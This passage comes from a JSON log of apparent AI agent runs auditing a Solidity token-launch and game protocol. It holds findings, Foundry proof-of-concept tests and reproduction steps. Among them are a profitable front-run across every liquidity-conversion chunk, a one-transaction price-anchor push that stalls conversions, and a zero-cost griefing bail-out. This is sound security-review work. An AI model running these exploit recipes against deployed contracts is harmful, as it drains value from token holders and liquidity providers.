Measured on the real v4-core PoolManager with the test venue used by test/V4Pad.t.sol (price 1, 68e18 full-range liquidity, fee 1%): escrow 1.0584 ETH, attacker position 10 ETH: the game received 0.7878 IMD instead of ~1.033 IMD without the front-run (23.8% less IMD per coin), and the attacker ended with 10.0622 ETH (+0.062 ETH) after paying both 1% venue fees. Break-even on this venue is an escrow of roughly 0.7 ETH; at the 4 ETH sell-out the model gives ~0.76 ETH profit and ~0.87 IMD (23%) taken from the game. Who loses: holders of that launch's coins and the launch's permanent LP (and the king's future in-kind fees). Who gains: the front-runner, with no execution risk because it controls chunk timing. Possible mitigations that keep the design: anchor the per-chunk limit to a reference that the attacker cannot move for free (e.g. the spot observed at startConversion, or the best spot seen so far, with the 1% band applied relative to that reference), randomise or restrict who may drive chunks during the first N seconds, or accept and document that conversions above ~0.7 ETH on a 68 ETH venue are extractable.","line":473,"path":"src/PadLiquidity.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {BaseTest} from \"../Base.t.sol\";\nimport {PadGame} from \"../../src/PadGame.sol\";\nimport {PoolKey} from \"../../src/interfaces/Interfaces.sol\";\nimport {V4Router} from \"../RealV4.sol\";\n\ncontract TestIMD {\n    mapping(address => uint256) public balanceOf;\n    uint256 public totalSupply;\n\n    function mint(address to, uint256 amount) external {\n        balanceOf[to] += amount;\n        totalSupply += amount;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\n/// @notice The repo's sandwich test brackets ONE chunk. Here the attacker buys IMD once, drives every\n/// public convertChunk itself (30 s apart), and sells after the last chunk. Same real PoolManager and\n/// the same ~68 ETH full-range venue as test/V4Pad.t.sol.\ncontract ConversionFrontRunTest is BaseTest {\n    TestIMD imd;\n    PoolKey imdKey;\n\n    function setUp() public override {\n        super.setUp();\n        TestIMD impl = new TestIMD();\n        vm.etch(IMD, address(impl).code);\n        imd = TestIMD(IMD);\n        imdKey = PoolKey(address(0), IMD, 10_000, 100, address(0));\n        pm.initialize(imdKey, uint160(1 << 96));\n        imd.mint(address(router), 100 ether);\n        vm.deal(address(router), 100 ether);\n        router.add(imdKey, 68 ether);\n        openPad();\n    }\n\n    function test_heldFrontRunAcrossAllConversionChunksProfits() public {\n        mintAll(pvp, 12);\n        advance(10 minutes);\n        for (uint256 r; r < 49; ++r) {\n            for (uint256 i; i < 12; ++i) {\n                if (!pvp.ended()) rollAs(pvp, players[i]);\n            }\n            advance(61);\n        }\n        vm.warp(pvp.endTime() + 1);\n        arb.advance(300);\n        while (pvp.pendingCount() != 0) pvp.resolvePending(16);\n        pvp.finalize();\n        uint256 escrow = pvp.ethRaised();\n        emit log_named_uint(\"curve ETH to convert\", escrow);\n\n        // Fair reference: what the escrow would obtain with nobody in front (zero-fee x*y=k bound).\n        uint256 front = 10 ether;\n        V4Router attacker = new V4Router(pm);\n        vm.deal(address(attacker), front);\n        attacker.trade(imdKey, true, front); // buy IMD once, before the first chunk\n\n        // The attacker itself drives every chunk at the 30 s interval; nothing else happens in between.\n        for (uint256 i; i < 200; ++i) {\n            liq.convertChunk(address(pvp));\n            (uint256 left,,,,,,) = liq.conversions(address(pvp));\n            if (left == 0) break;\n            vm.warp(vm.getBlockTimestamp() + 30);\n        }\n        (, uint256 converted, uint256 received,,,,) = liq.conversions(address(pvp));\n        assertEq(converted, escrow, \"fully converted\");\n        emit log_named_uint(\"IMD received by the game (front-run)\", received);\n\n        attacker.trade(imdKey, false, imd.balanceOf(address(attacker))); // sell after the last chunk\n        emit log_named_uint(\"attacker ETH after\", address(attacker).balance);\n        emit log_named_uint(\"attacker ETH before\", front);\n\n        // The repo's claim (testFuzz_sandwichOnConversionChunkLoses) is that bracketing the\n        // conversion loses both venue fees. It does not hold once the position is held across chunks.\n        assertLt(address(attacker).balance, front, \"held front-run across all chunks must not profit\");\n    }\n}","reproduction":"State: test venue identical to test/V4Pad.t.sol setUp (real PoolManager, IMD/ETH pool at sqrtPrice 2^96 with 68e18 full-range liquidity, fee 10000, tickSpacing 100), pad opened, a genesis game finalized with ethRaised = 1.0584 ETH (12 seats x 49 rolls). Calls: (1) attacker router swaps 10 ETH -> IMD on the IMD/ETH key (zeroForOne, no limit); (2) attacker calls liq.convertChunk(game) repeatedly, warping 30 s between calls, until conversions[game].remainingEth == 0; (3) attacker swaps all its IMD -> ETH. Expected (per the repo's sandwich claim and AUDIT #13): the attacker loses both venue fees and the game obtains ~1.033 IMD. Actual: conversions[game].imdReceived = 787816864335297775 (0.788 IMD), attacker balance = 10062194747407374161 wei (> 10 ether). Run: forge test --match-path test/scratch/ConversionFrontRun.t.sol -vv (fails on the current code with 'held front-run across all chunks must not profit: 10062194747407374161 >= 10000000000000000000').","severity":"medium","snippet":"            limit = zeroForOne ? spot - spot * IMPACT_BPS / 10_000 : spot * 1004987562112089027 / 1e18;","title":"Conversion chunks are price-limited only relative to the manipulable spot: a front-run held across all chunks is profitable and cuts the game's IMD by ~24%"},{"citation":"resolved","description":"Funded ETH (carry release and the king's fundGames share) is paid only when at least FUNDED_MIN_LIVING = 5 non-erased seats are alive at the end (PadGame.sol:656-663 and 682-683). bailOut erases a seat at any moment during play and the bailing wallet receives C + (V - C)/2 when V >= C (PadGame.sol:302), i.e. it gives up nothing but a pot share it was never going to receive if it is ranked outside the paid half. So in any game with exactly five living seats, the lowest-ranked seat can wait until the last seconds of play and bail out: living becomes 4, 'returned = funded' sends the whole funded amount (which can be 3x the roll pot, up to 15% of net curve ETH, plus king funding already parked in fundedPot) back to the carry pot, and the three paid ranks lose it. The griefer's cost is zero when V >= C (early buyer) and at most 10% of V otherwise, and it also removes its own curve ETH from the 15% cap for the others. This is a legitimate feature turned against the other players; it does not drain protocol funds (the ETH returns to carry) but it breaks the expectation that a game with five players at the end pays out funded ETH, and makes the funded release trivially vetoable by any single low-ranked participant.","line":682,"path":"src/PadGame.sol","reproduction":"State: a game with 5 seated wallets P1..P5, each rolled at least once, king funded via fundGames (fundedPot = F > 0) or carry available; P5 has the lowest |height| (no pot share since paid = 3). Call: at hardEnd - 1 s, P5 calls bailOut(0) (requires drawComplete && !ended() && !finalized, PadGame.sol:295). Then warp past endTime, resolve pending rolls, finalize(). Expected by the players: living = 5 so takeCarry pulls the allowance and F is paid to ranks 1-3. Actual: livingAtEnd = 4, takeCarry is skipped (living < FUNDED_MIN_LIVING at PadGame.sol:661), 'returned = funded' = F and FundedReturned(F) is emitted; ranks 1-3 receive only the roll pot and bail taxes. P5 received curveSpent[P5] + half of any curve profit, so it paid nothing for the veto. test/V4Pad.t.sol test_erasureExcludesRankingBellLivingAndFundedReleaseButPaysPendingTip exercises the same branch from the protocol's side; the griefing economics (veto cost ~0) are not asserted anywhere.","severity":"low","snippet":"        if (living < FUNDED_MIN_LIVING) {\n            returned = funded;\n        } else {","title":"A seat that would earn nothing can bail out to drop living below five and cancel the funded release for every other player at ~zero cost"}],"hash":"ab3c20e394bdfa67904e1722d9b0fc418e5b2a6d320c6c4b4889af5aadfd067e","nodeId":"3b0fb9bf-2ca4-4811-9b78-a15f34957a41","outcome":"completed","summary":"The review is complete. The findings file is written, valid, and no repository source was changed. Only the review output and my scratch test exist outside the tree.\n\n**What I found**\n\n- **Medium: the IMD conversion is front-runnable across chunks.** Each chunk's 1% price limit is measured from the current spot, which the attacker sets. An attacker buys IMD once, drives every public `convertChunk` call itself 30 seconds apart, and sells after the last chunk. I reproduced this on the real v4-core PoolManager with the repository's own 68 ETH test venue. The game's 1.058 ETH escrow bought 0.788 IMD instead of about 1.033. The attacker ended 0.062 ETH up on a 10 ETH position after paying both venue fees. Every coin holder and the permanent LP of that launch lose about a quarter of their IMD backing. The repository's sandwich test only brackets one chunk, so it never sees this. The scratch test and its exact output are in the findings file as proof.\n- **Low: a losing seat can veto the funded release.** With exactly five living seats, the lowest ranked one can bail out just before the end. Living drops to four and all funded ETH returns to carry. The griefer recovers its curve spend plus half of any profit, so the veto costs it nothing.\n\n**What held in my area**\n\nI traced ETH and IMD conservation in PadLiquidity across every path, including both 24 hour fallbacks, the two hop burn and in-kind king fees. The bail-out math holds. A sole buyer always gets back at least its curve spend because the curve keeps the product invariant. I re-derived AUDIT.md #13 with bail-outs and agree the sybil still loses. The front-run does not help the sybil because it shrinks the sybil's own escrow. Graduation price equivalence, the coins ≤ tokenAmount bound, and the IMD remainder donation all check out.\n\n**Coverage**\n\nAll 47 listed entry points have a row. Three point at findings and the rest hold. Four extra rows record the invariants I checked. Nothing in my area was left unreached.","treeHash":null,"usage":{"cachedInputTokens":2280872,"inputTokens":578,"model":"claude-fable-5-1","outputTokens":56804,"runtime":"claude","turns":30,"wallClockMs":1264736}},{"artifacts":[],"attempt":1,"bundleHash":"cece659c4dacc8c9a331c580eeaecafd111dde5eb542de3f27f6fbf5780906b6","device":"62491201fe455e89","findings":[],"hash":"b5c7a0ed1a1aea50f0f9ad47992f90209afeb4736976bd36c7901c192e6eef0c","nodeId":"f25d3e49-061f-44c3-802c-367f1770e488","outcome":"completed","summary":"The manifest is complete and verified. The launch.json already in the tree describes the accepted v4 implementation exactly, so no edit was needed.\n\n**What I checked**\n\n- **Constructor match.** The five entries line up with the compiled ABIs in declaration order: PadToken and PadGame take nothing, PvPPad takes owner plus the two templates, PadLiquidity takes poolManager, pad, IMD and the IMD/ETH pool id, and KingOfThePad takes pad, liquidity and dev. All arguments are strings, addresses lowercase, references point backward and fill only address slots.\n- **Pool id.** Hashing the key with native ETH as currency0, IMD as currency1, fee 10000, tick spacing 100 and no hooks reproduces the pool id in the manifest, which is what the PadLiquidity constructor requires.\n- **Inherited addresses.** The v3 base manifest at the pinned commit uses the same PoolManager address and the same static dev recipient for KingOfThePad. The dev address equals the launch owner, so no factory or IMD address ends up with a privileged role.\n- **Schema.** Only kind, contracts and notes are present. Names are unique and under 32 characters, and notes are well under the 4000 character limit.\n- **Build and tests.** The project builds, and every runtime stays under the EIP-170 limit. The full suite with the verifier's fuzz seed passed.\n\n| Check | Result |\n|---|---|\n| forge test suites | 22 passed |\n| tests | 219 passed, 0 failed |\n| runtime total | 54,551 bytes |\n\nThe working tree is clean. Nothing outside launch.json was touched, and no RPC was called or transaction broadcast.","treeHash":"a952f01a7126b7936eca998b72b61f5921ff0868","usage":{"cachedInputTokens":395061,"inputTokens":260,"model":"claude-fable-5-1","outputTokens":5488,"runtime":"claude","turns":10,"wallClockMs":448078}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"fcb71e606c933181","findings":[{"citation":"resolved","description":"Seam boundary x invariant. The 'never stranded' guarantee rests on canGraduate() (line 253: remainingEth == 0 || now >= lastProgress + 24h). But any chunk with spent != 0 && received != 0, however small, refreshes lastProgress. A chunk's size is whatever moves the venue 1% from spot, so when the IMD/ETH venue's liquidity collapses to dust (the single 68 ETH LP withdraws, leaving e.g. 1e6 units of liquidity at spot), every chunk converts a few hundred thousand wei, counts as 'progress', and pushes the deadline out again. Only a venue that yields exactly zero is caught (test_zeroLiquidityChunksDoNotExtendTimeout). With one upkeep touch per <24h (any entry, roll, poke, takeCrown or direct convertChunk does this) the game stays in status 8 forever: graduate() reverts PadNotGraduable, PadToken stays locked, the curve ETH stays escrowed, and no carry fallback happens. With frequent (30 s) chunks the same venue instead absorbs the whole escrow over ~1-2 days at a geometrically worsening price (each chunk moves spot another 1%), so the fallback that was meant to send unconverted ETH to carry never fires either. Expected per brief: 'if conversion makes no progress for 24 h, graduate with the IMD converted so far and send unconverted ETH to the carry pot'. Fix: define progress with a floor, e.g. count a chunk as progress only if spent >= remainingEth / 1000 (or a wei floor like 1e12), or cap total conversion time from startConversion (e.g. 7 days) regardless of progress.","line":230,"path":"src/PadLiquidity.sol","reproduction":"Real v4-core PoolManager, IMD/ETH pool initialised at sqrtP = 2^96 with 68e18 full-range liquidity (same as V4PadTest.setUp). 12 players enter PvP, each rolls 20 rounds, game ends by time, resolvePending until pendingCount==0, finalize(): ethRaised = 0.432 ETH. Then router.remove(imdKey, 68 ether); router.add(imdKey, 1e6). Loop 30 times: liq.convertChunk(address(pvp)); vm.warp(+23h50m). Observed after 29 days: convertedEth = 163,940 wei, imdReceived = 139,601 wei, remainingEth = 431,999,999,999,836,060 wei, seconds since lastProgress = 85,800 (< 86,400), liq.canGraduate(pvp) == false, pvp.graduate() reverts PadNotGraduable(), pvpToken.unlocked() == false. Expected: at most 24 h after the venue stops delivering meaningful fills the game graduates with IMD so far and carries the remaining 0.43 ETH. Scratch test test/scratch/DustProgress.t.sol (passes on current code, i.e. demonstrates the stuck state).","severity":"medium","snippet":"            if (spent != 0 && received != 0) {\n                c.remainingEth -= spent;\n                c.convertedEth += spent;\n                c.imdReceived += received;\n                c.lastProgress = uint64(block.timestamp);","title":"24h conversion fallback never fires on dust progress: a near-empty IMD/ETH venue keeps the game unconvertible and the token locked indefinitely"},{"citation":"resolved","description":"Seam boundary x invariant (time edge). The conversion escrow is created lazily by the first poke/upkeep/convertChunk after finalization, but its progress stamp is back-dated to finalizedAt. If no transaction touches the pad or the game for 24 h after finalize (a dormant launchpad; nothing forces a call), the first _conversionStep() runs _prepareConversion() and then sees canGraduate() already true, skips convertChunk entirely, and _graduate() seeds the native coin/ETH v3 pool with imdReceived == 0 even though the IMD/ETH venue is deep and healthy. The brief says every coin graduates into a coin/IMD pool and the native path is for when 'no IMD could be converted at all'. For the genesis this also fixes the burn route to native forever. No funds are lost; the guarantee is broken at the exact boundary finalizedAt + 24h (one second earlier converts and seeds coin/IMD). Fix: stamp lastProgress = block.timestamp in startConversion (or max(finalizedAt, now)), so the 24 h window counts from the first opportunity to convert.","line":211,"path":"src/PadLiquidity.sol","reproduction":"Same setup as V4PadTest (real PoolManager, IMD/ETH at price 1 with 68 ETH depth). 1 player enters PvP, rolls once, game ends, resolvePending, finalize(). conversions(pvp).started == false. vm.warp(finalizedAt + 24 hours); pvp.poke(). Observed: pvp.graduated() == true, liq.imdPool(pvpToken) == false (native pool), conversions(pvp).convertedEth == 0, imdReceived == 0. Control: warp to finalizedAt + 24h - 1 and poke(): convertedEth > 0 and imdPool(pvpToken) == true. Scratch test test/scratch/FallbackClock.t.sol.","severity":"low","snippet":"        c.lastProgress = finalizedAt;","title":"Fallback deadline starts at finalizedAt, so a pad idle for 24h graduates into a coin/ETH pool without a single conversion attempt on a healthy IMD venue"}],"hash":"bbc65cce0c0ff089e7cc4bdc2ab2a644a1a511103c82893c29c0230c2e8c325f","nodeId":"362a2f87-9f61-4a77-acc2-1a950b792296","outcome":"completed","summary":"The review is complete and recorded in `.imd-findings.json` (git status shows only untracked scratch files and the findings file; no tracked file was changed).\n\n**What I checked (Math Precision, Boundary, Numerical Gap lenses)**\n\n- Bonding-curve math: ceil rounding in `quote` and `quoteSell` keeps `vEth*vTok >= K` through buys, bail-out sells and sell-out. A sole buyer's round trip never pays back more than it spent, so `payout <= value <= ethRaised` and the unchecked block in `bailOut` is safe.\n- Finalization: finalizer fee caps, funded release `min(3x rollPot, 15% net curve ETH)`, triangular rank weights with dust to carry, erased seats excluded from living, ranking, bell and king weights.\n- Graduation liquidity: replayed the `sqrtRatioX96`, `l0/l1`, 1 ppm margin and owes-too-much check against the real PoolManager over 600 fuzzed `(max0, max1)` pairs from 1e6 to 1e30, plus tiny amounts. It never owes more than the cap.\n- Full game conversion, graduation and two-hop burn at IMD prices from 1e-12 to 1e6 ETH, including a conversion that yielded only 10,691 wei of IMD. All graduated, unlocked and burned with escrow conservation intact.\n- AUDIT.md #13: the `68e/428 ≈ 15.89%` bound and the stated `A > 30 ETH` depth threshold check out.\n- Slither/aderyn leads in my area (`mulDiv` caret, divide-before-multiply, uninitialized locals, unsafe casts) are false positives: the XOR is the Newton seed, casts are bounded.\n\n**Findings**\n\n1. **Medium.** The 24-hour \"never stranded\" fallback only fires on zero progress. A dust-liquidity IMD/ETH venue (e.g. the 68 ETH LP leaves, 1e6 units remain) yields tiny but nonzero fills, each refreshing `lastProgress`. Reproduced on the real PoolManager: after 29 days and 30 chunks, 163,940 wei of 0.432 ETH converted, `canGraduate` still false, token still locked. With 30 s chunks the same venue would instead absorb the whole escrow at a geometrically worsening price. Suggested fix: a progress floor or a hard total conversion deadline.\n2. **Low.** `startConversion` back-dates `lastProgress` to `finalizedAt`. A pad idle for 24 hours after finalization graduates straight into the native coin/ETH pool with zero conversion attempts on a healthy venue. One second earlier it converts and seeds coin/IMD.\n\n**Coverage**\n\nAll 47 listed entry points have a row, plus three invariant rows. Four are marked `finding` (graduate, poke, upkeepStep, convertChunk for finding 1; startConversion for finding 2); the rest `holds` with reasons. Nothing was left unreached. No critical or high finding, so no proof file was attached.","treeHash":null,"usage":{"cachedInputTokens":2957388,"inputTokens":642,"model":"claude-fable-5-1","outputTokens":62510,"runtime":"claude","turns":40,"wallClockMs":1125292}},{"artifacts":[],"attempt":1,"bundleHash":"9d2572dca8a85708feffaff434e9599d461e48ca3b8db583bd60ef7f86c1ca73","device":"a18a0c6087e1362f","findings":[{"description":"The revision made the conversion anchor pad-wide and made observeMarket() public so that any pad touch records the IMD/ETH spot; only a higher spot moves it and it decays 0.5% sqrt per hour. The guard against flash pushes only checks that the PoolManager is locked at the moment of the read. A stranger can therefore, in one transaction and with no market exposure, (1) sell IMD into the venue in one unlock (sqrt price up ~17% for 12 IMD against the 68 ETH venue), (2) call observeMarket() between the two unlocks so the pushed spot becomes the anchor, and (3) buy the IMD back in a second unlock. The venue is back at the fair price and the attacker paid only the two 1% fees (0.2213 IMD measured), but the anchor now sits 17% above the market and needs about 28 hours of decay before the band (1% sqrt under the anchor) reaches the fair spot. Every convertChunk for every converting game emits ConversionStalled during that time. Because the 24-hour no-progress fallback fires first, a game whose escrow was created before the push graduates into the v3 coin/ETH pool when no IMD was converted yet, or with partial IMD and the rest of the escrow sent to the carry pot. The attack is repeatable every day for about 0.2 ETH and hits every game converting at the time, since the anchor is shared, so one wallet can deny the graduate-into-IMD change to all launches. docs/AUDIT.md item 37 states that raising the anchor sells the game IMD cheaply and delays chunks only by the decay time; neither holds when the push is reverted in the same transaction (no chunk ever fills at the pushed price) and the decay time exceeds the 24 h fallback. Suggested direction, preserving the design: bound how far an unprivileged observation may move the anchor up per block or per hour (for example the same 0.5%/h the decay uses) or anchor on a time-weighted observation instead of an instantaneous maximum, and/or do not count stalls caused by an anchor above the current spot toward the 24 h no-progress fallback while the spot itself is inside the normal 1% chunk band.","line":244,"path":"src/PadLiquidity.sol","reproduction":"Real v4-core PoolManager, IMD/ETH key (ETH, IMD, fee 10000, spacing 100), full-range liquidity 68e18 at sqrt price 1<<96. One player enters, rolls once (0.0018 ETH raised), the game ends on its clock, finalize() and prepareConversion() are called: anchor() == spot == 1<<96. A contract holding 12 IMD then, in a single transaction, sells 12 IMD (spot sqrt 1.17x), calls PadLiquidity.observeMarket(), and buys IMD back with all the ETH it received. Cost measured: 0.2213 IMD. Spot after: within 1% of 1<<96; anchor(): above 1.15 * 1<<96. A keeper calls convertChunk(game) every hour for 24 hours with nobody else trading. Expected: the escrow converts (0.0018 ETH fits inside one 1% chunk of a 68 ETH venue at the fair price, as test_lastChunkFillsCompletelyBelowTheLimitAndClosesTheEscrow shows without the push) and graduate() seeds a coin/IMD pool. Actual: imdReceived stays 0 and lastAttempt stays 0 across all 24 calls (every chunk refused by the band), canGraduate() turns true through the no-progress timeout, and graduate() seeds the v3 coin/ETH pool (imdPool(token) == false). Run: forge test --match-path test/scratch/AnchorGriefProof.t.sol -vv","severity":"medium","title":"Public observeMarket lets a one-transaction IMD round trip stall every conversion pad-wide for over 24 h and force the no-IMD fallback"}],"hash":"c6b85874a8e5475e4c3de21564643729dbdf21e93010a8c254ac753e9656b7f4","nodeId":"c27071ca-d1aa-4541-b475-cbb6aef78528","outcome":"completed","summary":"Done. The working tree holds only changes inside `test/`, and the full suite passes with the pinned seed.\n\n**What was wrong at the start.** The builder's latest revision replaced the per-game conversion anchor with a pad-wide one, renaming `anchorOf(game)` to `anchor()` and `observe(launchId)` to `observeMarket()`. My two accepted files still used the old names, so `forge build` failed and the whole suite was red.\n\n**What I changed, all under `test/`:**\n- `V4Edges.t.sol` now reads the pad-wide anchor. The one assertion that lost its meaning (\"a never-observed game has no anchor\") now checks that the finalize upkeep recorded the untouched spot. Two new tests cover the new design: a flash push inside a PoolManager unlock is not recorded by the public observe call, the pad upkeep, or a nested chunk, and a stranger recording a genuine rise never stalls the next chunk and pays the game at least the fair rate.\n- `V4BailConversionInvariant.t.sol` predicts the band from `anchor()` and gained an `observe` handler action that random actors call. It checks the result is exactly the larger of the decayed anchor and the spot. The pinned-seed run made 164 such calls with no violation.\n- `V4-CONTRIBUTOR-REPORT.md` is a short record of this round.\n\n**One defect reported rather than asserted**, in `.imd-findings.json` with a self-contained proof at `test/scratch/AnchorGriefProof.t.sol`. Because `observeMarket()` is public and the only flash guard is \"manager locked at the read\", one transaction can sell IMD in one unlock, observe, and buy back in a second unlock. The venue returns to the fair price and the attacker pays only two 1% fees, but the shared anchor sits 17% above the market for about 28 hours of decay. That exceeds the 24 hour no-progress fallback, so every game converting at the time is forced into the coin/ETH pool or sends its remaining escrow to the carry pot.\n\n| Measurement from the proof | Value |\n|---|---|\n| Attacker cost for the round trip | 0.2213 IMD |\n| IMD received by the game over 24 h | 0 |\n| Chunks attempted that filled | 0 of 24 |\n\nThe proof fails on the current code at \"a fair, untouched venue must convert within 24 h\" and the finding is rated medium, since it is griefing at a cost rather than theft.\n\n**Test results.** The full `forge test` run with the pinned fuzz seed passed 252 tests across 25 suites. The only failure is the scratch proof, which is meant to fail and is removed before verification. Fork runs against the live Robinhood Chain IMD/ETH pool are still owed, as before.","treeHash":"b7afb0723fdd6a87a6ac4af98839c8bc63c12892","usage":{"cachedInputTokens":2824930,"inputTokens":1058,"model":"claude-fable-5-1","outputTokens":36272,"runtime":"claude","turns":34,"wallClockMs":1014417}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"96eeb8eb2acdbbf1","findings":[{"citation":"resolved","description":"startConversion() seeds Conversion.lastProgress with the game's finalizedAt, and canGraduate() only checks block.timestamp >= lastProgress + 24h. The escrow is only created by prepareConversion/convertChunk/_conversionStep, which run on the NEXT tend of that game (upkeepStep does one lifecycle step per call: the call that finalizes never converts). If no upkeep reaches the game for 24h (older entered launch on a pad with many entered launches gets one round-robin tend per upkeep, or simply a quiet pad), then the first PadGame.graduate()/poke()/upkeepStep: _conversionStep() -> _prepareConversion() -> canGraduate()==true immediately -> skips convertChunk -> _graduate() -> PadLiquidity.graduate() takes the imdReceived==0 branch and seeds a NATIVE coin/ETH pool with all curve ETH, even though no swap was ever attempted and the IMD/ETH pool is fully liquid. In exactly the same state, calling PadLiquidity.convertChunk(game) first (it does not check the deadline) converts a normal chunk, resets lastProgress, and the coin graduates into coin/IMD. So after the deadline the pool type is decided by a race between two permissionless calls; the pad's own upkeep always picks the native path. The spec's fallback is for 'no progress for 24 h' (i.e. attempts failing), not for a game nobody has tended. No funds are lost (all ETH enters the native LP), but the CHANGE 2 guarantee 'every coin graduates into a coin/IMD pool' is broken for that launch permanently, and the burn/king-fee paths for that pool stay ETH-denominated. Fix: set lastProgress = block.timestamp in startConversion (count the 24h from escrow creation / first attempt), or make _conversionStep attempt one chunk before consulting canGraduate.","line":211,"path":"src/PadLiquidity.sol","reproduction":"Real v4-core PoolManager, production IMD/ETH key initialized at price 1 with 68 ETH full-range liquidity (healthy venue). openPad; two players enter; draw; p1 rolls once (ethRaised = 0.0018 ETH); warp past endTime; resolve; finalize() at T. Nobody calls prepareConversion/convertChunk/poke/upkeep. vm.warp(T + 24h); pvp.graduate(). Expected: a coin/IMD pool (or a revert PadNotGraduable until a real stall). Actual: liq.imdPool(token)==false, conversions(game) shows convertedEth==0, imdReceived==0, ConversionFallback(game,0,true) and a native coin/ETH pool. Control: same state, liq.convertChunk(game) first -> imdReceived>0 and graduate() creates the coin/IMD pool. Test: test/scratch/ConversionClock.t.sol (test_untouchedGameGraduatesNativeAfter24hFromFinalize fails on this tree; test_sameStateConvertChunkFirstSeedsIMD passes).","severity":"low","snippet":"        c.lastProgress = finalizedAt;","title":"Conversion stall clock starts at finalizedAt, not at the first attempt: an untended game graduates native (zero IMD) after 24h although the IMD venue is healthy, and the outcome depends on which permi"}],"hash":"def4a421feb6987d69c9c9b51b6cc4d083fc8777e580c232e5c3bc73909c4abf","nodeId":"de3e7e19-4928-4da0-9bc8-f0204d206d1e","outcome":"completed","summary":"Review complete. The findings file is written and validated.\n\n**Result:** one substantiated defect, low severity. The rest of the assigned control-flow area holds.\n\n**Finding 1 (low), conversion stall clock.** `PadLiquidity.startConversion` seeds the stall timer with the game's finalization time rather than the escrow creation time. A finalized game that nobody tends for 24 hours (older launch on a busy pad, or a quiet pad) then graduates into a native coin/ETH pool on its first `graduate()`, `poke()` or upkeep touch, even though the IMD venue is healthy and no swap was ever attempted. In the same state, calling `convertChunk` first converts normally and seeds coin/IMD, so the pool type is decided by a race between two permissionless calls. No funds are lost, but the \"every coin graduates into coin/IMD\" guarantee breaks permanently for that launch. Reproduced in `test/scratch/ConversionClock.t.sol`: the untouched-game test fails on this tree, the convertChunk-first control passes. Suggested fix: count the 24 hours from escrow creation, or attempt one chunk before consulting `canGraduate`.\n\n**What I traced and found sound:**\n- Bail-out: play-only gate, sell value bounded by curve ETH, effects before payout, V/C payout and minOut, erased seats excluded from rolling, ranking, bell, living count, king eligibility and the activity clock; pending rolls resolve with zero delta and still pay the tip. Game ETH and token conservation hold.\n- Funded release: bail taxes do not raise the roll pot, the curve term uses net ETH, carry is pulled before `finalized` flips.\n- Conversion: only registered games can escrow, attacker-chosen `game` in `convertChunk` cannot start or touch an escrow, the self-call rolls back deltas, progress only counts real output, interval and gas floor behave.\n- Graduation: LP coins and IMD per coin match the spec formula, IMD remainder lands in the owned position's fees, excess coins burn, unlock happens after LP settlement, escrow totals reconcile on both fallback branches.\n- Two-hop burn: intermediate IMD netting and `burnIMD` bucket are consistent; native genesis keeps the one-hop path.\n- Periphery: `mulDiv`, `sqrt`, `sqrtRatioX96`, `clone`, `push` and the `_split` delta decoding are correct. Slither's caret-operator, arbitrary-send and uninitialized-state leads are false positives.\n\n**Coverage:** all 48 listed entry points have a row plus two invariant rows. Four rows point to finding 1 (`PadGame.graduate`, `PadGame.poke`, `PadGame.upkeepStep`, `PadLiquidity.startConversion`); the rest hold. The existing suite passes in full.\n\n| Suite | Result |\n|---|---|\n| Existing tests | 219 passed, 0 failed |\n| Scratch repro | 1 fails as claimed, 1 control passes |\n\n**Not reached:** the economic re-derivation of AUDIT.md #13 beyond a sanity check, and real-chain gas sufficiency of the 350k venue stipend, which cannot be measured offline.","treeHash":null,"usage":{"cachedInputTokens":1797819,"inputTokens":356,"model":"claude-fable-5-1","outputTokens":70598,"runtime":"claude","turns":30,"wallClockMs":1282292}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"89214b73ec1e0b7b","findings":[{"citation":"resolved","description":"convertChunk takes its sqrt-price limit from the pool's current spot (_priceLimit, PadLiquidity.sol:467-478) and the conversion is public, deterministic and self-serviceable (convertChunk every 30 s, PadLiquidity.sol:218-242). The 1% band bounds one chunk relative to whatever spot the caller has just set, so it gives no protection against a position opened before the first chunk and closed after the last. An attacker buys IMD once, drives every chunk itself (no third-party flow needed), then sells the IMD back; the game buys IMD at an inflated price for its whole escrow. The shortfall lands in PadLiquidity.graduate (line 280-282: IMD per LP coin = imdReceived / coins), so every coin holder's exit value and the permanent LP are reduced by the same fraction, and the king's future in-kind fees with them. The repository's testFuzz_sandwichOnConversionChunkLoses brackets a single chunk only, and docs/AUDIT.md #13 assumes the conversion obtains a fair I = B*e/(A+e). The same root cause covers the write_foundry_tests note on a dominant IMD/ETH LP: an LP that owns most of the venue recoups its own 1% manipulation fee and can shift the spot before each chunk at near-zero cost. Merged: audit_economics 429908cd (held front-run) and write_foundry_tests 75378a9d (dominant LP). Mitigations that keep the design: anchor the band to a reference the attacker cannot move for free (spot observed at startConversion, or the best spot seen so far), or document that conversions above roughly 0.7 ETH on a 68 ETH venue are extractable.","line":473,"path":"src/PadLiquidity.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PadToken} from \"src/PadToken.sol\";\nimport {PadGame} from \"src/PadGame.sol\";\nimport {PvPPad} from \"src/PvPPad.sol\";\nimport {PadLiquidity} from \"src/PadLiquidity.sol\";\nimport {KingOfThePad} from \"src/KingOfThePad.sol\";\nimport {\n    IPoolManager,\n    IUnlockCallback,\n    PoolKey,\n    ModifyLiquidityParams,\n    SwapParams,\n    IERC20Min\n} from \"src/interfaces/Interfaces.sol\";\n\ncontract FrArbSys {\n    uint256 public number = 1000;\n\n    function advance(uint256 n) external {\n        number += n;\n    }\n\n    function arbBlockNumber() external view returns (uint256) {\n        return number;\n    }\n\n    function arbBlockHash(uint256 n) external view returns (bytes32) {\n        require(n < number && n + 256 >= number, \"window\");\n        return keccak256(abi.encode(\"arb\", n));\n    }\n}\n\ncontract FrIMD {\n    mapping(address => uint256) public balanceOf;\n\n    function mint(address to, uint256 a) external {\n        balanceOf[to] += a;\n    }\n\n    function transfer(address to, uint256 a) external returns (bool) {\n        balanceOf[msg.sender] -= a;\n        balanceOf[to] += a;\n        return true;\n    }\n}\n\ncontract FrRouter is IUnlockCallback {\n    IPoolManager immutable pm;\n\n    constructor(IPoolManager p) {\n        pm = p;\n    }\n\n    receive() external payable {}\n\n    function add(PoolKey memory key, uint256 l) external {\n        pm.unlock(abi.encode(uint8(1), key, l));\n    }\n\n    function trade(PoolKey memory key, bool zeroForOne, uint256 amount) external {\n        